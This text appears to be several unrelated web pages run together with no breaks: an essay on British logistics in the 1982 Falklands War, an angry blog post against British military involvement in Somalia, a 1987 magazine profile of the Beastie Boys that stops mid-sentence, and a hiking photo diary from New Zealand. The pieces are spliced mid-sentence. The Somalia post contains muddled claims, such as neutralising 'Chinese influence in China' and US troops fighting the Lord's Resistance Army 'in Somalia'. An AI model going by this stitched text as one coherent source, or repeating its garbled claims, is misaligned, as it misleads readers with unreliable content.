On May 21, the British landed on the opposite side of East Falkland from the capital of Stanley, where Argentines were anticipating a counterattack and had been establishing defenses. Operation Sutton became their first amphibious assault since the 1950s. It became clear soon thereafter that few people, including senior leaders in London, understood the difficulty of such an operation, especially without air superiority, let alone the need to establish supplies ashore before breaking out from a beachhead. A host of command, control, and communication issues followed, reinforcing today why amphibious operations remain perhaps the toughest of military operations, one rightly controlled by navies in collaboration with marines. Argentine leaders failed to capitalize on opportunities as they developed. They kept ground forces concentrated in positions defending Stanley. British air attacks tried their best to keep them there by destroying helicopters that could be used to relocate troops.
Challenges they faced underscore the importance of training for such complex operations, especially when army units join an amphibious task force. Although paratroopers and marine commandos operated side-by-side from beginning to end in this war, the preparation, deployment, and commitment of a separate British army infantry brigade as follow-on force produced less-than-stellar results and contributed to costly losses at Fitzroy, when Argentine pilots bombed ships that were slow to offload. That brigade was rushed together at the last minute in the United Kingdom, augmented largely by theater-level units and given little time to train together; it arrived in the South Atlantic with a thin organization and without a clear mission. Despite exceptional performance by some, that brigade’s story is a somber reminder of what can happen when military units are not organized, trained or ready for expeditionary-type warfare.
It took the land force nearly a week to build up sufficient supplies ashore to break out from the beachhead at San Carlos. Officials in London had become so frustrated that they threatened to fire their only brigadier for “languishing” on beaches. At one point, the overall task force commander, a Royal Navy four-star admiral in a headquarters at Norwood, told the rear admiral commanding the carrier battle group to go ashore and tell the land force commander, a Royal Marine brigadier, to move out of the beachhead. The rear admiral, equally exasperated, refused to do so.
It was frustrating for everyone that Argentine pilots had succeeded in hitting well over a dozen British ships and sinking five by the end of May, including the converted container ship Atlantic Conveyor carrying nine helicopters and thousands of tons of much needed supplies. Only a single heavy-lift helicopter survived to support land operations. Often Argentine bombs would strike ships but not detonate. Numerous times these bombs passed right through British ships without exploding. Had a few more detonated, or had Argentine pilots targeted some different ships, sovereignty over the Falklands might not have been settled so soon. As it was, damage caused by Argentine air attacks demonstrated, not surprisingly, how essential it is to have air superiority when conducting amphibious operations.
Perhaps it will not surprise some people to learn that the vast majority of casualties during the war, nearly 70 percent, occurred not on land but at sea. The Falklands produced the first fighting at sea since the Second World War. It proved costly for both sides.
The battles on land resulted in many instances of bravery and leadership. They also revealed challenges of waging war in remote areas thousands of miles away from a homeland. At Goose Green, paratroopers fought on foot over 24 hours in the rain and snow to defeat Argentines dug-in on a narrow isthmus. Weather hampered resupply. Without robust supplies as they started to attack, some found themselves crawling to dead comrades to retrieve ammunition. Marine commandos and other paratroopers marched 50 miles across East Falkland carrying all their gear and then attacked up slopes of rocky mountains to overcome tough Argentine defenses. Logisticians had to figure out how to support these operations without the benefit of any roads and with few helicopters. It became a frustratingly slow process at times, hampered by Argentine pilots attacking the British support area on land. Wounded often lay on the battlefield for 12 hours or more before helicopters could evacuate them.
When smoke settled from Harrier attacks, artillery, and naval gunfire on June 14, just 74 days after the invasion, the British had retaken the islands and captured over 10,000 Argentines in and around Stanley — a town severely damaged, without utilities or running water, and cluttered with debris, equipment, and human excrement. Then the British military transitioned to a phase of war that has plagued many armies over the years: effectively restoring order after victory. They had to do so when still at the end of an 8,000-mile logistical tether. One of their first priorities was disarming then repatriating thousands of Argentine prisoners back home when their military junta still was not acknowledging defeat.
There is indeed much to ponder from the British experience in the 1982 Falklands War, especially now as military services focus more on expeditionary operations. It is no accident that some military schools are adding this war to curricula for further study. For the past couple years, the U.S. Marine Corps has invited the few senior British leaders from this war still living to speak to students. They are smart to do so. Aside from its relevance for future readiness, this war offers accessibility for students and leaders wanting to study a war from beginning to end or just examine certain aspects of war.
The Falklands War reiterates the historical constant that conflicts occur at times and places least expected. The success of British efforts highlights the power of national resolve, something that is often lacking when politicians commit countries to war. Their deployments became rushed and problematic in many ways, but they also revealed masterful synchronization of government agencies in short order. What they achieved remains without parallel in military history. It never will be easy to move large forces quickly or support operations in austere, remote areas. The Falklands War also resurrects lessons from the past, including consequences when commands are not on the same sheet of music and when combat operations outpace logistics.
The British were not ready for the Falklands War in 1982 but they still won despite many surprises. They did so because they were simply better than those they fought. They were better trained and tougher, more resilient physically and more agile mentally. When setbacks occurred, they were able to bounce back. And this was not limited to units on front lines. Quite importantly, those fighting on or around the islands also were backed up by thousands of men and women working behind the scenes many miles away, trying to get them what they needed. That became a very tough combination to beat.
Could the British do it again? Some think not. They do have the benefit today, however, of robust infrastructure, prepositioned supplies, and more forces in the Falklands. Could the United States military do it in the future in a comparable scenario? Perhaps. At least the Department of Defense is starting to refocus on expeditionary warfare, something quite different than its recent experience.
Kenneth L. Privratsky is the author of the recently published book Logistics in the Falklands War. He is a retired U. S. Army Major General with 33 years of service, a graduate of the School of Advanced Military Studies and a former National Security Affairs Fellow at the Hoover Institution of War, Revolution and Peace at Stanford University.Within days of the US withdrawal, Iraq is already slipping back towards the sectarian violence that was triggered in the first place by the 2003 Anglo/British ‘intervention’. After ten years of ‘intervening’ in Afghanistan, British troops are supporting the corrupt Karzai government and its warlord administration whose single growth industry is the heroin trade. After an ‘intervention’ that was supposedly intended to prevent a massacre and ushered in a war in which as many as 50,000 people may have died, Libya remains unstable and stalked by violent racist militias.
But the Coalition government has clearly got the bit between its teeth. Next month Cameron will be hosting an international conference on Somalia. And today the Independent announces that ‘senior Foreign Office officials’ are considering the use of the RAF to provide reconnaissance and support to African troops in Somalia fighting on behalf of the Transitional Federal Government (TFG) against the al-Shabaab militia.
What has prompted these developments? According to Cameron, Somalia is a ‘failed state that directly threatens Britain’s interests’. The International Development Secretary Andrew Mitchell is more specific, declaring that
‘ [stextbox id=”alert”]Somalia is a direct threat to the UK’s security because it is one of the most dysfunctional countries in the world…It is a place from which emanates piracy, drug running, this weight of people trying to come to a more attractive economic shore. There are probably more British passport holders engaged in terrorist training in Somalia than in any other country in the world.‘[/stextbox]
Yes, we can’t have this ‘weight of people trying to come to a more attractive economic shore’, can we? Especially when those shores might include the UK. There are other reasons for British – and Western – concern with Somalia’s ‘dysfunction’. Somalia has a key strategic location viz a viz oil transport routes through the gulf of Aden and the Arabian sea. It also has oil reserves itself, which a number of countries, including the United States, have shown interest in for years.
Western attempts to control Somalia and support its utterly corrupt and disastrous ‘government’ also belongs to the broader geostrategic attempts by the United States to neutralise Chinese influence in China – an objective reflected in a number of military programmes across the continent carried out under the auspices of Pentagon’s Africom command, such as the recent deployment of US troops against the Lord’s Resistance Army in Somalia.
Such crude interests will no doubt by played down in any future ‘intervention’. Expect to hear a great deal about the evils of the al-Shabaab militia, how Somalia is a stain on the world’s conscience and how ‘we’ cannot stand idly by etc.
There is no doubt that al-Shabaab is a pretty brutal and horrendous outfit. But until 2006 it was only one component of the Islamic Courts Union (ICU), a conservative broad-based Islamist movement that had been fighting the Transitional Federal Government since the late 90s, with support from Eritrea. In 2006 the ICU controlled much of southern Somalia, which enjoyed a brief period of stability after decades of civil war and the TFG’s misrule.
The ICU also appears to have been genuinely popular, and this became clear in July 2006, when Ethiopia invaded the country in support of the TFG, with political backing and direct military support from the United States, which effectively alleged that the ICU was a branch of al-Qaeda. In 2007, USA Today reported that ‘the United States has quietly poured weapons and military advisers into Ethiopia‘ over the previous year.
In addition to funding what was to some extent a proxy invasion, US Special Forces from bases in Djibouti have also taken part in military operations against Somali rebels, and the military has also targeted ‘al Qaeda’ operatives with drone missile strikes.
The Ethiopian invasion generated a massive surge of violence in Somalia, which pushed a radicalised al-Shabaab to the forefront of a nationalist/religious war against the TFG and the ‘crusader Ethiopian invasion forces.’
Not for the first – or the last – time, the US had helped make a bad situation worse. Today the United States, France, Ethiopia, Kenya, and various African troops are all involved in Somalia, together with an assortment of private military contractors and special forces, in an attempt to prop up a warlord government that has no credibility or popularity inside Somalia.
All these protagonists have their own motivations, none of which include the welfare of the Somali people, and none have them have achieved anything except to intensify the chaos, bloodshed and instability. Some of them, such as the Kenyan and Ethiopian armies, have allegedly committed war crimes against the civilian population – for which no one is ever likely to be brought to justice
Now the old Bullingdonians want to get in on the act. In a country that is in the midst of its worst famine since the 1990s, that has been torn apart by decades of war, Her Majesty’s Government proposes to return to its old colonial battleground in ‘Somaliland’ once again and add another dose of righteous violence, which only proves once again what cynical, calculating and ultimately disgusting bastards we have allowed ourselves to be ruled by.
So let’s all sing along with Military Wives, and enjoy the festive season, and next year we will once again cry havoc and let slip the dogs of war from 20,000 feet. That may not sort Somalia out, but British Aerospace will be pleased, and that’s good for all of us, isn’t it?
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TwitterFrom the wayback machine comes this Creem article from May 1987 of a time when The Beastie Boys took over the earth…or at least took your daughters. I won’t say what was done to your daughters, but let’s just say that it wasn’t pretty and they’ve never been the same…
“They took the doors off their hinges and moved them around. They flooded two floors with the fire hoses. They plugged up the toilets and destroyed the furniture. They terrorized the other guests. They were just having fun.”
—Stephen Davis
”Hammer of the Gods,” 1985
At 32 minutes past two the morning of 16 January 1987, two Beastie Boys broke into my West Hollywood hotel room and dumped a wastebasket of extremely wet water on my head, my bed, the carpeting and my Converse All-Stars. (I’d stupidly left the chain-lock unsecured, and I suppose they bribed the night clerk into giving them a key.) Earlier that evening, after Pee-Wee Herman had visited their dressing room and before they appeared on Joan Rivers’ show, the Beasties were tossing parsley at me, dropping ice cubes in my hair, and “dissin'” (graffiti-artist lingo for “saying bad things about”) my brown socks and flannel shirt. I interpreted all of this to mean that they did not like me.
But I don’t feel alone. Just days before, they’d been evicted from the Sunset Marquis for throwing chairs out their window into the swimming pool. And that week, they’d also become the first group ever to be censored on American Bandstand—Dick Clark, who’d put up with Johnnies Rotten and Lydon in past episodes, apparently determined Adrock’s mid-song crotch-grab was just too much. The Beasties had previously been banned from the Holiday Inn chain after they’d cut a hole in the floor of one suite to serve as a passageway to the one directly below; they’d been banned from CBS Records headquarters after allegedly ripping off a camera at a label party. And MCA brags that he punched a Bay Area Music interviewer in the face not too long ago. These guys are total jerks, and they’ve got the fastest-selling debut album in CBS history.
MCA, real name Adam Yauch, says he’s skimmed through “Hammer of the Gods,” a book that depicts Led Zeppelin’s early career as one massive, Satanic orgy, complete with fishing for sharks out hotel windows and sicking the prize catches on baked-bean marinated groupies. “It happens that we are living up to that reputation, but it’s not intentional,” MCA tells me. “We respect what they did. They were the only band that never buckled under to their label, and they sold more records than anybody.” Beastie Mike D, whose stage handle is shortened from Michael Diamond, is wearing a Houses of the Holy T-shirt. The first noises you hear on the Boys’ Licensed to Ill album are John Bonham’s drums, lifted from Zep’s mega-swing classic “When the Levee Breaks.” I ask Mike D what his favorite LP of 1986 was, and he answers Led Zeppelin IV.
There’s a feeling I get…
When I look to the West…
And my spirit is crying for leaving…
Made up my mind
To make a new start
Goin’ to California
With an achin’ in my heart.”
—Page & Plant
Led Zeppelin IV, 1971
Upon arriving in Los Angles to meet the most famous Caucasian rap trio in the history of Western Civilization, I found that their record company has sent a limousine to the airport to pick me up. I’m taking one of those huge black ones where the celebrities can look out but the peons can’t look in, and of course I’ve never even touched one before, and I thought it was obscene. The driver gave me the scenic route down to Sunset Boulevard, and he pointed out Engelbert Humperdink’s abodes, and we passed UCLA. The driver showed me this monument made of four white columns at the top of a small hill. He said Al Jolson was buried there.
Like Gigolo Al, and like Bob Wills and Elvis Presley and the Rolling Stones and the disco Bee Gees as well, the Beastie Boys are white people making what is supposed to be black music. Like Jerry Leiber and Mike Stoller, who wrote all of the Coasters’ hits and whose “Girls, Girls, Girls” MCA claims did not influence the groups very similar “Girls,” and like the Dictators, whose Go Girl Crazy anticipated punk and whose White Castle infatuation MCA claims did not influence MCA claims had no effect on his crew’s own sliders-by-the-bag fetish, the Beasties are young middle-class Jewish males chronicling the dilemma of urban-American teen hooligancy. Or rather, in the Beastie Boys’ case, half-Jewish. “Purely coincidentally, we each have one Jewish parent,” explains MCA. Adrock and Mike D, now 17 and 19 old respectively, grew up in Manhattan; MCA, 20 comes from Brooklyn Heights. MCA and Mike D “have been friends forever and were boys together,” MCA says; Adrock, a.k.a. Adam Horvitz, met the other two in junior high school. Noted playwright Israel Horvitz, Adrock’s dad, left home when the Beastie was a baby. MCA’s first criminal act was setting a print shop on fire.
“All the kids from our high school listened to Deep Purple, crap like that,” Mike D says. “When you see that shit it doesn’t make you want to go out and play it.” Yauch, Horvitz and Diamond opted for the (then) unpopular alternative, dying their hair orange or shaving it off, checking out the Stimulators and Sham 69 at New York clubs, and eventually starting their own hardcore squads.
“Everyone we knew was in a band,” Mike D says. “That’s what was cool about punk.” The original Beastie Boys comprised Yauch, Diamond and two more; Horivitz’ band, The Young & the Useless, would open shows. Eventually, the combos merged. After releasing the 7-inch Polly Wog Stew EP on the Rat Cage label in 1982, lured by a Gotham rap subculture that seemed to parallel punk in the do-it-yourself-music department, the Beasties decided to expand their horizons.
“We went into the studio and recorded 10 songs, and we did the song ‘Cookie Puss’ as a joke,” MCA remembers. “We were making fun of Malcolm McLaren, and the whole downtown art scene that was exploiting hip-hop.” A poor mix caused eight tunes to be shelved, but “Cookie Puss” came out as a 12-inch single, backed with a rasta-toasting/ Musical Youth parody called “Beastie Revolution.” The A-side was a seemingly sexist and racist stylus-scratch rendering of a pornographic phone call to an ice cream sandwich store, and it turned out to be 1983’s funniest novelty record. Rick Rubin, a club jockey whose band, Hose, did grunge-metal versions of Ohio Players and Rick James numbers, heard the disc and liked it. Beastie gigs gradually evolved from “a lot of new wave Wild-Style Burner Style music with the turntable next to the drum riser (sez MCA) to all-the-way-live rap, and Rubin produced 1985s awesome “Rock Hard”/Party’s Gettin’ Rough”/ “Beastie Groove” EP. The record kidnapped sections outright from AC/DC’s “Back in Black” and Zep’s “Black Dog.” The Beasties chanted, “I’m a man who needs no introduction/Got a big tool of reproduction.”
Furthering their ironman-funk synthesis on the “Soundtrack from the Video ‘She’s on It’” single, and helped along by a distribution deal Rubin’s Def Jam Records had established with CBS, the trio burst onto MTV in late ’85. A year later, after a summer of opening for the suddenly huge Rubin-produced Run D.M.C., the Beasties were bonafide stars; within six weeks of its release, Licensed to Ill had already sold over a million copies, and was kicking its way up to the Top 20. If you go to high school or live in a college dorm, you most likely know the thing forwards and backwards by now. Licensed to Ill has pushed rap into the whitest corridors of America’s heartland, and (along with D.M.C., Metallica and the Rubin-produced Slayer) had made the future safe for dangerous teenage music, a form that seemed to have died. CBS, concentrating on Bruce S. and Michael J., has an unexpected blockbuster on its hands. And the Beastie Boys are playing their fifteen minutes of fame to the hilt. “Five years from now I might be selling used cars on the lot,” MCA says. “I really don’t give a fuck, ’cause I’m having so much fun now.”
For example: I’m at the hotel, as are members of the Beastie entourage, which consists of Sean, their hepcat British manager, Hurricane, a brawny deejay who carries lots of gold junk around his neck, Cey, who has known the Beasties since childhood and now serves as roadie and astrologer and all-around nice guy, and Eloise, an overweight go-go dancer who’s supposed to look “sexy” when she strips down to her black lace, I guess, but mostly just comes off as gruesome. The Beasties aren’t there, and the limo driver says it’s time to leave for the Rivers Show. All of a sudden a luxury machine burns rubber around the corner, just missing the limo, and skids to a halt in front of the hotel gate. MCA jumps out and runs inside, and Adrock takes the wheel even though he’s never driven a stick-shift before. MCA’s done doing what he was doing, and the treacherous three are ready to go now, but they’re not riding in the limo; they’ve just rented a Town Car after getting bored with a Ferrari and a Rolls, and they don’t want their dollars to go to waste. “We ride three in the front, you in the back,” Mike D tells me. “That’s the rule.”
The limousine goes first, and we follow. The auto I’m in is manned by derelicts: MCA’s wearing a wrinkled long-sleeve white button-down, a black leather jacket, and a five o’clock (or five day, maybe) beard-shadow; Adrock has an “Appalachian Basketball Camp” shirt, a red Texaco baseball cap and a light-blue windbreaker; Mike D, skinnier, and nerdier-looking than his cohorts, has a gold Volkswagen pendant, black horned-rim glasses, and an earring. Their jeans have holes, their Nikes lack laces (some new fad, I think), and I’m no queer but I know that these are not the prettiest men I’ve ever seen. Anyway, we’re chasing the limo, and Metallica’s “Battery” is blasting from our tapedeck, and the dudes in front of me are banging their heads towards the windshield as if they constituted one orgasm. They release their seatbacks so they can ride horizontally, they “accidentally” bump bumpers with the limo a few times, they shout catcalls at the usual feminine suspects. (“Before we were successful we used to stand at the streetcorner and yell at girls,” Mike D later informs Joan Rivers. “Now we can sit in a Ferrari and do it, and it’s a lot more effective.”) And the doo-wop along with the cassette, which plays the Coasters, Elvis, Roxanne Shante, Marvin Gaye,? And The Mysterians, Stevie Wonder, and—as a tribute to their adolescent homeboys, I gather—Deep Purple.
“It becomes hard to remember that “Smoke on the Water” was never a good song and was barely a good joke— and even harder to remember that old bromide about what happens to those who don’t learn from the past.”
—Mark Moses
Boston Phoenix, December 30, 1986
Afoot in our land is disillusionment like has not been seen since the Watergate years. For the generation weaned on Danny Bonaduce, awakened by Haldeman, Erlichman and Dean, and enlightened by punk and its progeny, this disillusionment casts doubt and cynicism on not only our leaders, but on the mass media that stimulate our national mood. Be a sourpuss and call it premature nostalgia if you need to, but the current interest in early ’70s rock is no retreat; fact is, punk promised more and then failed more miserably than any other rock ‘n’ roll ever has. When Redd Kross covers Kiss, when “Walk This Way” goes Top 10, when the Golden Palominos hire Jack Bruce, it’s not retreat—rather, it’s a necessary return to unfinished business. If the Sex Pistols never happened, we’d probably better off than we are now. And if the Beastie Boys don’t come right out and say this, their record certainly implies it. To me, the most amazing thing about Licensed to Ill‘s success is the youth of its audience. That children of the ’80s are buying it proves how universal its ideas are. Because to get all of the details, you have to be a child of the ’70s.
As I’ve said, Bonzo slapping his drumkit starts off the thing. But before the vinyl’s been exhausted, we’ve also heard musical or verbal snippets from Black Sabbath’s “Sweet Leaf,” Zep’s “The Ocean,” War’s “Low Rider,” Steve Miller’s “Fly Like An Eagle” and “Take the Money and Run” (plus they did a cool a capella “Joker” during the Joan Rivers rehearsals), Brownsville Station’s “Smokin’ in the Boys Room,” Aerosmith’s “No More No More,” Creedence’s “Down on the Corner,” and some Barry White tune whose title alludes me. It’s no accident the record starts with a song called “Rhymin’ and Stealin'” – the oeuvres of Bill Haley and Bobby Fuller and Kurtis Blow and Schoolly-D are plundered, too. But Licensed to Ill isn’t just about creative in-joke robbery; if it was, it wouldn’t be worth much. All those borrowed bits and pieces are used to make connections, to outline the perimeters of the youth culture on which the Beasties’ B-boy-brat stance depends. When I asked MCA about the lyric “sit around the house, get high and watch the tube,” he answered, “We’re not using it because it’s in a Steve Miller song. We’re using it because it’s a good line.”
So in the long run, what makes Licensed to Ill a great album—one of the best of the last year, and one of a mere handful of listenable recent ones on major labels—is that it’s got great songs. First off, they sound great; Rubin is one of the few current producers out there who refuse to sell out rhythm to disco-syndrome water-torture monotony, and this album’s got his biggest beats ever. With him the Beasties could get by on their cockiness alone. But what I really mean by great songs is great songwriting, by which I guess I just mean common sense. Wiffleball bats and swirlies and Phyllis Diller and Kentucky Fried Chicken and Budweiser and Rice-a-Roni and |
to New Zealand as much as I did
As always, thank you for stopping by
-Heie
Hey All!So I returned a while ago from my vacation to the land of Kiwis, and several people have asked about my photos from the trip. I tried to pick out the best ones, and while there are some that I definitely can highlight, I was unable to pick and choose the few to represent the entire series. The reason for this is because I felt that it would undermine the story telling and the connection many of the photos share to one another. That, and I thought you guys would appreciate the montage (assuming the photos are any good - ignorance is bliss so be don't screw with my bliss!).This will be long enough as it is, so I will allow the photos to tell the rest of the story.1) During one of my layovers on the way to New Zealand, I found this terminal wing completely empty and absolutely spotlessly clean, the former atleast can be expected at 4 o'clock in the morning, but the latter? Growing up in airports the likes of JFK, Newark, and Laguardia, I'm not used to this level of public cleanliness lol. This is the Dubai International Airport. Also, the technicalities of this photograph were that I took this handheld, and used the in-camera HDR Processor (don't remember what level, but either HDR 1 or HDR 2).The color version looked terrible because I was unable to get the white balance to line up properly, especially since it was JPG. But once I converted it to B&W, I thought it looked pretty cool. Was a very popular image amongst my Facebook friends and especially the guys in my office. Also, I learned that I have a bad habit of experimenting with the in-camera HDR (for fun, not anything serious), and then realizing the camera is still set to JPG a lot of pictures later.2) Milford Sound, Fiordland, New Zealand. Straight ahead and to the left is Mitre Peak, which is the largest mountain to come straight out of the ocean in the entire world. A friend mentioned that they thought Hawaii was, and just to clarify - Hawaii is the largest mountain from base (under water) to summit as a *mountain itself*, whereas this is referring to the largest rise from sea level to the summit (1,692m). Also, something interesting - the kayak guide told us that its name comes from an old Mauri (the indigenous people of New Zealand) word that means "erect manhood," further symbolizing it's command over the nearby mountains and the local people's respect for it. This was an image I was originally very disappointed with as I didn't realize until we left that the camera was still in JPG mode from the above image (like 3 days later - I know...don't judge me lol). So I did with it what I could and decided to try an aggressive processing. I like the result.3) The next day we went sea kayaking for a total of 20 km's through the entirety of Milford Sound, ending when we reached the Tasman Sea. We went under Stirling Falls which was awesome. I had two cameras with me - the K-5/DA* 60-250 and the K-30/DA* 16-50. I still am angry with myself for not making sure the battery grip rubber cover was installed on the bottom of the K-5 (didn't even bring it to New Zealand). What makes matters worse is that I just received the lens back from CRIS and they said the 60-250 was beyond repair as the electrical circuitry was completely destroyed within the lens itself. I haven't tested it because the thought just occurred to me, but it might not be worth getting cleaned and using as a purely manual lens if the contacts don't allow the aperture to work since there's no aperture ring. Another thought was to use it with the Q and Q>K adapter since the adapter would function as the aperture and the lens would be manual anyway... Not sure, but it's the only two courses of action I can think of at the moment. The K-30/16-50 combo survived going under the waterfall perfectly though, as one would obviously expect. Directly in front of me (lower right) in my kayak is my girlfriend, Jenny. Also, off topic, but I learned avaluable lesson during that kayak excursion - don't make photographypriority during an activity such as this. Like I said, I brought two cameras and two lenses (and the Sigma 8-16 in a dry bag!). I ended up having a miserable time because I was so focused on the pictures I had in my mind and never captured for a myriad of reasons -- we were catching up to the other boats, turned the wrong way, etc. I wish I had trusted my gut and bought the 18-135 WR and just used that. It would have been lighter, much less cumbersome, and I would have enjoyed the trip far more than I did. Regardless, I am glad to have learned that lesson prior to when children become part of the equation.4) There's really nothing aesthetically or photographically pleasing that I Ilike about this photo, but I kept it to show the scale of these mountains. Notice the two white 2-story cruise boats at the base of the mountain...5) This is the drive down to (or back up from) Milford Sound. It's the only way in or out (aside from helicopter over land or boat along the coast), and it is incredibly avalanche prone during the winter. In fact, we went during New Zealand's early summer, and thewe left Milford Sound and drove through this pass, there was an avalanche that closed the road for about a week. Talk about good timing. I like to believe I'm just good like thatAlso, I would have loved to have been able to take this shot from the air - unfortunately you can't really see from this perspective just how crazy this road was, but top-down would have been awesome!6) Starting the Kepler Track, one of New Zealand's Great Walks. Jenny is smiling here, but like she posted on my Facebook picture of this: "Clearly, I had no idea what I was getting myself into."7) A view of Lake Te Anau, the lake that we had to walk along the edge of for the beginning of the track. As you can see, we had an absolutely gorgeous day.8) Several hours and several hundred meters in elevation later, we decided to stop for some trail mix.9) A glimpse of what we left behind below during a rare break in the trees.The town (Te Anau) on the opposite side of the lake on the left of the frame is where we started our hike. This is about 6km later.10) Finally the trees broke!! The view up on the mountain ridge at the first change of scenery.11) She's still thinking that this is so much fun12) We made it! The Luxmore Hut comes into view and this is where we stayed for our first night after ascending about 1200m vertically over a span of about 11km total in roughly 5 hours.13) A view of the inside of the Luxmore Hut, where we stayed the first night of our trip on the Kepler. The views from inside were just beautiful.14) One morning we decided to catch the sunrise. We ended up going with some friends we made at the cabin, one of whom is in this image.15) One guy decided to bring his sleeping bag because it was chilly out lol. I gave them my contact info but they never got a hold of me, which I really wish they would. I feel they would love to have both of these images.16) The sunrise in all its glory.17) Jenny and I decided to go spelunking in a large cave just outside the hut (Luxmore Cave), and I was able to get this image of the entrance from inside. I'm actually really proud of this image, as not only was it technically difficult, but I spent about an hour in Lightroom trying to get it to where it is. Friends in my office swore it looked like an ultrasound (I don't see it...). I brought my tripod into the cave (which I will review at a later time - that tripod is amazing ) and I set the camera on it and took about twenty shots at varying exposures. This I from a single exposure, and the original is completely black except for what seems to be a very overexposured entrance at the top - the K-30 absolutely blew my mind away with what I could pull out of the RAW's shadows in Lightroom.18) Inside one of the caverns. This was actually my first light painting experiment and I had Jenny look up while I painted the walls with my headlamp and the camera was on the tripod. I took a few different exposures, but this one at 8 secs was the best. Light painting is fun! In retrospect, I wish I had thought about it at the time, but this would have been an awesome vertical pano. Next time19) I absolutely love dramatic skies when mixed with a wide angle. This was the boardwalk we had to walk on to get to and from the cave.20) Taking a short break on the second day of the hike. Jenny took this shot, and I gave it a pretty aggressive processing treatment to bring out the drama in the clouds.21) A view of the trail along the ridgline.22) The area was just absolutely beautiful. Some of the most beautiful vistas I've ever seen. I did what I could to rescue this image because it was heavily overexposed in the sky - the sky was very blown out due to setting the shutter speed to not fast enough. At least here it looks foggy (which it was).23) Jenny on the same outcrop that I was on in the previous image. This time I made sure not to blow out the sky24) I really like this image, and it took me about 15 takes to get a good one. This is me walking on the ridgeline, which you can see was pretty exposed with sharp drop offs. Jenny was right behind, and I appreciate her patience while I tried these shots out.25) Jenny coming up on the trail. I ran ahead to try and capture this image.26) Another view of the ridge.27) I really like this image. I set up my tripod and had us walk towards the camera with a wireless remote in my hand to trigger the shutter of the camera.28) A view of my handiwork in setting up the camera and tripod for a shot.29) Another view of the set up - this was about 20-25 feet (6-7m) above the trail, and no, those branches were not the strongest 8)30) Me looking up to take a test photo and make sure the remote was working - you can see the remote in my right hand.31) The actual photo and the final product - this is one of my favorites from the entire trip. Thank you so much for being so patient with me, JenI spent over 45 minutes on this photo between setting up, test photos, climbing up and down (and up and down again) the tree, and then multiple walking iterations. Well worth the effort32) New Zealand rivals the Cloudforest of Monteverde, Costa Rica for the greenest place I have ever seen in my life.33) Seriously, not a single touch to saturation.34) A breautiful break in the woods. I darkened the left side a little bit using a digital grad filter in Lightroom.35) I really love this image, and it's my first attempt at making the water silky like that. If you have a calibrated monitor, you will be able to appreciate the Sepia treatment.36) Another attempt at making water look like silk. I learned that "less is more" when it comes to these shots. I originally (naively) thought that the longer the exposure, the better the silk. This shot was a 2sec exposure and looked far better than all the ones at 4, 6, and 10 seconds.37) Jenny on a bridge over a large ravine. As you can image, I had to do some climbing to get this shot (otherwise why would there be the need for a bridge, right?).38) I found this to be hilarious. If you look closely, the official sign says "DANGER, TRACK CLOSED DUE TO _____________" and someone wrote in "Stoat Attack." The stoat has wreaked absolute havoc on the New Zealand wildlife, however it is no bigger than a large rat39) Have you ever seen so many ferns in your life?! I swear that if Costa Rica backed out on the filming of Jurassic Park (Isla de Cocos is where it was filmed), then New Zealand's Fiordland would have been a worthy replacement. There were many times I felt like a velociraptor was waiting to ambush me from under/behind a fern lol40) This was a particularly special meal and epitomises what I love about the trail and the people you meet on it. Jen and I severely miscalcuated what we would need for food. Not in terms of amount of food (we never went hungry), but rather in terms of actual meals and more importantly, the ability to cook. I was under the impression that you just needed to pack in your meals and there would be cooking supplies (which I *mis*read somewhere - all they provided was the stove in *select* places - lesson learned). Anyway, several kind persons really helped us out. A trail ranger gave us the plates, silverware, fresh eggs, and canned peaches for desert, as well as the stove to cook with. An elderly couple gave us a dehydrated beef stew hiking meal and another group of young hikers we met (the ones that went to the sunrise with us) gave us the rice, so we mixed them all together and had a feastIgnore the terrible looking eggs - I didn't have a needle to pop a small hole so they could decompress41) Jenny on another long expanse of a suspension bridge. I climbed up and stood one leg on each "handrail cable" for this one. She wasn't happy with me when I started climbing up42) A curve in the trail that mirrored hundreds of others.43) Such a trooper44) This was a funny find, and the perfect kind of humor to making us laugh after finishing the entire Kepler and being just exhausted45) Our meal after finishing 70 km's of hiking. 5 meat pies (in New Zealand, they are our versions of "Chicken Pot Pies," but only so much better) of Lamb and Mint, Pepper Steak, and Chicken, a chocolate caramel brownie, her macchiato, and my massive ice cream milk shake. We were told that we had to get pies after finishing by one of the rangers, and it was so delicious - he couldn't have given a better recommendation. And all gone in under 7 minutes46) When we were done with the Kepler, we needed a place to stay, and found this tucked away gem. If you are ever in Te Anau, this is the place you need to stay, and the staff are just fantastic. You can see the lake on the right side of the frame, so it's close.47) Not a single room had a number - they were all named in the works of Shakespeare.48) The owner said this is where they put all the single people...49) On the way to the Catlins in the southeast of the South Island.50) I've never seen cooler looking trees. They were all over the place and seemed so freakishly windblown.51) The lighthouse at Waipapa Point on South Island, one of the island's southernmost points. There were some seals on the rocky shore below.52) The inside of the art studio that we stayed in for several nights in Bluff, New Zealand. It was named "The Lighthouse." The owners, Mack and Sue, were an absolutely lovely couple that found themselves in New Zealand and never left. He is an American that fought in Vietnam (two deployments) and she is also American (or English, I can't remember).53) I had to park the car and she insisted on taking both bags with her so I didn't have to walk with mine back to the ferry station. Am I a lucky guy or what?54) The view of the start of the Rakiura Track, the second New Zealand Great Walk that we completed.55) I spotted our reflection in this house as we were talking and absolutely loved how it looked. As you can guess, the view the house has is stunning.56) Along the way to the start of the track we found this phone on a tree. Yes I did try to use it and wind the rotor, but sadly it didn't work. Regardless I was fascinated with the antiquity of it and how it seemed to so aptly be a symbol of the tranquility of Stewart Island.57) Finally getting to the start of the Rakiura Track. The chain symbolizes the connection between Stewart Island and the South Island of New Zealand, disappearing into the water at both locations.58) The Rakiura Track.59) More track...60) And more track. Here the track descends to one of the rivers we had to cross. This is another one of my favorites from the trip. Similar to the cave entrance shot earlier, the dynamic range of the K-30 is what made it possible. This is a single exposure that was severely underexposred to allow for the beach and a small wave breaking (which are barely visible, but still), to not be blown. Then I raised the shadows within the canopy and loved how it perfectly captures the mood of the entire track we followed.61) A view of a river we had to cross at low tide.62) Jenny writes a note for her 5 year old brother in the sand, a tradition she started during her travels elsewhere.63) A view of the coast along the Rakiura Track. This is about 8km into the first day's hike.64) Another of the suspension bridges that we had to cross.65) We got some rain along the way (look at the water and you'll see it). But seriously, this could be Costa Rica.66) While walking around, we found the brightest rainbow EVER after a rain shower. I really wish I could have done a better job capturing how bright that thing was.67) Ever seen a rainbow in black and white? I thought it was a unique effect...68) The sky after the rain storm broke.69) This was the porta potty at one of the tent sites we stayed at. In all seriousness, doesn't that look like something out of Jurassic Park?70) A really interesting link to the past - this logging machine was left behind from the 1920's, a time when Stewart Island was a major logging hub.71) And climb and climb and climb through the forest72) 